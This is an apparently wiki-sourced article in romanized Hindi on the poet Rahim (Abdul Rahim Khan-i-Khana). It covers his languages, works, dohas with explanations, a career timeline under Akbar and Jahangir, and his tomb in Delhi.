bhaktikal hindi sahity mean rahim ka mahattvapoorn sthan hai. unhoanne arabi, farasi, sanskrit, hindi adi ka gahan adhyayan kiya. ve rajadarabar mean anek padoan par kary karate hue bhi sahity seva mean lage rahe. rahim ka vyaktitv bahut prabhavashali tha. ve smaran shakti, hazir–javabi, kavy aur sangit ke marmajn the. ve yuddhavir ke sath–sath danavir bhi the. akabar ke darabari kavi gang ke do chhandoan par rijhakar inhoanne 36 lakh rupaye de die the. rahim ne apani kavitaoan mean apane lie 'rahim' ke bajae 'rahiman' ka prayog kiya hai. ve itihas aur kavy jagat mean abdul rahim khanakhana ke nam se prasiddh haian. rahim musalaman hote hue bhi krishna bhakt the. unake kavy mean niti, bhakti–prem tatha shrriangar adi ke dohoan ka samavesh hai. sath hi jivan mean ae vibhinn mo d bhi parilakshit hote haian.

rahim ki bhasha

rahim ne apane anubhavoan ko saral aur sahaj shaili mean marmik abhivyakti pradan ki. unhoanne braj bhasha, poorvi avadhi aur kh di boli ko apani kavy bhasha banaya. kintu braj bhasha unaki mukhy shaili thi. gahari se gahari bat bhi unhoanne b di saralata se sidhi-sadi bhasha mean kah di. bhasha ko saral, saras aur madhur banane ke lie tadbhav shabdoan ka adhik prayog kiya.

• rahim arabi, turki, farasi, sanskrit aur hindi ke achchhe janakar the. hindoo-sanskriti se ye bhali-bhaanti parichit the. inaki nitiparak uktiyoan par sanskrit kaviyoan ki spasht chhap parilakshit hoti hai.
• kul milakar inaki 11 rachanaean prasiddh haian. inake pray: 300 dohe 'dohavali' nam se sangrahit haian. mayashankar yajnik ka anuman tha ki inhoanne satasee likhi hogi kintu vah abhi tak prapt nahian ho saki hai. dohoan mean hi rachit inaki ek svatantr kriti 'nagar shobha' hai. isamean 142 dohe haian. isamean vibhinn jatiyoan ki striyoan ka shrriangarik varnan hai.
• rahim apane baravai chhand ke lie prasiddh haian. inaka 'baravai hai. inaka 'baravai nayika bhed' avadhi bhasha mean nayika-bhed ka sarvottam granth hai. isamean bhinn-bhinn nayikaoan ke keval udaharan diye gaye haian. mayashankar yajnik ne kashiraj pustakalay aur krishnabihari mishr pustakalay ki hast likhit pratiyoan ke adhar par isaka sampadan kiya hai. rahim ne baravai chhandoan mean gopi-virah varnan bhi kiya hai.
• mevat se inaki ek rachana 'baravai' nam ki isi vishay par rachit prapt huee hai. yah ek svatantr kriti hai aur isamean 101 baravai chhand haian. rahim ke shrriangar ras ke 6 sorathe prapt hue haian. inake 'shrriangar sorath' granth ka ullekh milata hai kintu abhi yah prapt nahian ho saka hai.
• rahim ki ek kriti sanskrit aur hindi kh di boli ki mishrit shaili mean rachit 'madanashtak' nam se milati hai. isaka varny-vishay krishna ki rasalila hai aur isamean malini chhand ka prayog kiya gaya hai. isake kee path prakashit hue haian. 'sammelan patrika' mean prakashit path adhik pramanik mana jata hai. inake kuchh bhakti vishayak sphut sanskrit shlok 'rahim kavy' ya 'sanskrit kavy' nam se prasiddh haian. kavi ne sanskrit shlokoan ka bhav chhappay aur doha mean bhi anoodit kar diya hai.
• kuchh shlokoan mean sanskrit ke sath hindi bhasha ka prayog hua hai. rahim bahujn the. inhean jyotish ka bhi jnan tha. inaka sanskrit, farasi aur hindi mishrit bhasha mean' khet kautuk jatakamh' namak ek jyotish granth bhi milata hai kintu yah rachana prapt nahian ho saki hai. 'bhaktamal' mean is vishay ke inake do pad uddhrit haian. vidvanoan ka anuman hai ki ye pad 'rasapanchadhyayi' ke aansh ho sakate haian.
• rahim ne 'vakeat babari' nam se babar likhit atmacharit ka turki se farasi mean bhi anuvad kiya tha. inaka ek 'farasi divan' bhi milata hai.
• rahim ke kavy ka mukhy vishay shrriangar, niti aur bhakti hai. inaki vishnu aur ganga sambandhi bhakti-bhavamayi rachanaean vaishnav-bhakti andolan se prabhavit hokar likhi gayi haian. niti aur shrriangaraparak rachanaean darabari vatavaran ke anukool haian. rahim ki khyati inhian rachanaoan ke karan hai. bihari lal aur matiram jaise samarth kaviyoan ne rahim ki shrriangarik uktiyoan se prabhav grahan kiya hai. vyas, vrind aur rasanidhi adi kaviyoan ke niti vishayak dohe rahim se prabhavit hokar likhe gaye haian. rahim ka brajabhasha aur avadhi donoan par saman adhikar tha. unake baravai atyant mohak prasiddh hai ki tulasidas ko 'baravai ramayan' likhane ki prerana rahim se hi mili thi. 'baravai' ke atirikt inhoanne doha, soratha, kavitt, savaiya, malini adi kee chhandoan ka prayog kiya hai.

rachanaean

[[chitr:Khan-I-Khanan-Tomb-Delhi-5.jpg|thumb|250px|khan e khana maqabara, dilli]] rahim anek bhashaoan ke jnata the. unhoanne turki bhasha ke ek granth 'vaqayat babari' ka farasi mean anuvad kiya. farasi mean anek kavitaean likhian. 'khet kautook jatakamh' namak jyotish granth likha, jisamean farasi aur sanskrit shabdoan ka anootha mel tha. inaka kavy inake sahaj udgaroan ki abhivyakti hai. in udgaroan mean inaka dirghakalin anubhav nihit hai. ye sachche aur sanvedanashil hriday ke vyakti the. jivan mean ane vali katu-madhur paristhitiyoan ne inake hriday-pat par jo bahuvidh anubhooti rekhaean aankit kar di thi, unhian ke akritrim aankan mean inake kavy ki ramaniyata ka rahasy nihit hai. inake 'baravai nayika bhed' mean kavy riti ka palan hi nahian hua hai, varanh usake madhyam se bharatiy garhasthy-jivan ke lubhavane chitr bhi samane aye haian. marmik hone ke karan hi inaki uktiyaan sarvasadharan mean vishesh roop se prachalit haian. rahim-kavy ke kee sangrah prakashit ho chuke haian. inamean-

1. rahim ratnavali (san. mayashankar yajnik-1928 ee.) aur
2. rahim vilas (san. brajaratnadas-1948 ee., dvitiyavritti) pramanik aur vishvasaniy haian. inake atirikt
3. rahiman vinod (hi. sa. samme.),
4. rahim 'kavitavali (surendranath tivari),
5. rahim' (ramanaresh tripathi),
6. rahiman chandrika (ramanath suman),
7. rahiman shatak (lala bhagavanadin) adi sangrah bhi upayogi haian.

rahim ke dohe

• rahiman dhaga prem ka mat todoan chhitakay.

toote to phir na mile mile gaanth pad zae..

• rahiman dani daridratar, too jaanchibe yog.
  

jyoan saritan sookh pare, kuaan khanavat log..
kavivar rahim kahate haian ki yadi koee dani manushy daridr bhi ho to bhi usase yachana karana bura nahian hai kyoanki vah tab bhi unake pas kuchh n kuchh rahata hi hai. jaise nadi sookh jati hai to log usake aandar kuean khodakar usamean se pani nikalate haian.

• rahiman dekhi b den ko, laghu n dijie dari.
  

jahaan kam avai suee, kaha karai talavari..
kavivar rahim ke anusar b de logoan ki sangat mean chhotoan ki upeksha nahian karana chahie kyoanki vipatti ke samay unaki bhi sahayata ki avashyakata p d sakati hai. jis tarah talavar ke hone par suee ki upeksha nahian karana chahie kyoanki jahaan vah kam kar sakati hai talavar vahaan lachar hoti hai.

• ekai sadhe sab sadhaian, sab sadhe sab jay.
  

rahiman moolahi sianchibo, phoolai phalai aghay..

• kah rahim kaise nibhe, ber ker ka sang.
  

yai dolat ras apane, unake phatat aang..

• khira sir te katie, maliyat laun lagay.
  

rahiman karue mukhan ko, chahiyat ihai sajay..

• chhima b den ko chahie, chhotan ko utpat.
  

ka rahim hari ko ghatayau, jo bhrigu mari lat..
rahim ek sahriday svabhimani, udar, vinamr, danashil, viveki, vir aur vyutpann vyakti the. ye guniyoan ka adar karate the. inaki danashilata ki anek kathaean prachalit hai. inake vyaktitv se akabari darabar gauravanvit hua tha aur inake kavy se hindi samriddh huee hai.

vishesh biandu

• jab ye kul 5 varsh ke hi the, gujarat ke patan nagar mean (1561 ee.) inake pita ki hatya kar di gayi. inaka palan-poshan svayan akabar ki dekh-rekh mean hua.
• inaki karyakshamata se prabhavit hokar akabar ne 1572 ee. mean gujarat ki chadhaee ke avasar par inhean patan ki jagir pradan ki. akabar ke shasanakal mean unaki nirantar padonnati hoti rahi.
• 1576 ee. mean gujarat vijay ke bad inhean gujarat ki soobedari mili.
• 1579 ee. mean inhean 'mir arju' ka pad pradan kiya gaya.
• 1583 ee. mean inhoanne b di yogyata se gujarat ke upadrav ka daman kiya.
• prasann hokar akabar ne 1584 ee. mean inhean' khanakhana' ki upadhi aur panchahazari ka manasab pradan kiya.
• 1589 ee. mean inhean 'vakil' ki padavi se sammanit kiya gaya.
• 1604 ee. mean shahazada daniyal ki mrityu aur abulafazal ki hatya ke bad inhean dakshin ka poora adhikar mil gaya. jahaangir ke shasan ke prarambhik dinoan mean inhean poorvavat samman milata raha.
• 1623 ee. mean shahajahaan ke vidrohi hone par inhoanne jahaangir ke viruddh unaka sath diya.
• 1625 ee. mean inhoanne kshama yachana kar li aur pun: 'khanakhana' ki upadhi mili.
• 1626 ee. mean 70 varsh ki avastha mean inaki mrityu ho gayi.

khan e khana maqabara

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• khan e khana ke nam se prasiddh yah maqabara abdurrahim khanakhana ka hai, jo mugal badashah akabar evan jahaangir ke shasanakal ke pratibhashali evan prasiddh darabari the.
• khan e khana maqabare ka nirman abdurrahim khanakhana ke dvara apani begam ki yad mean karavaya gaya tha, jinaki mrityu 1598 ee. mean ho gayi thi. bad mean svayan abdur rahim ko 1627 ee. mean unake mrityu ke pashchath isi maqabare mean daphanaya gaya.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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tika tippani aur sandarbh

sahayak granth-

1. akabari darabar ke hindi kavi: d aau. sarayooprasad agraval;
2. rahiman vilas : brajaratnadas;
3. rahim ratnavali : mayashankar yajnik.

bahari k diyaan

• abdurrahim khan khana - sankshipt parichay
• avadhi kavi abdurrahim khan khana
• hindi ke kavi rahim
• abdurrahim khanakhana
• rahim
• rahim dohe
• rahim ke dohe

sanbandhit lekh

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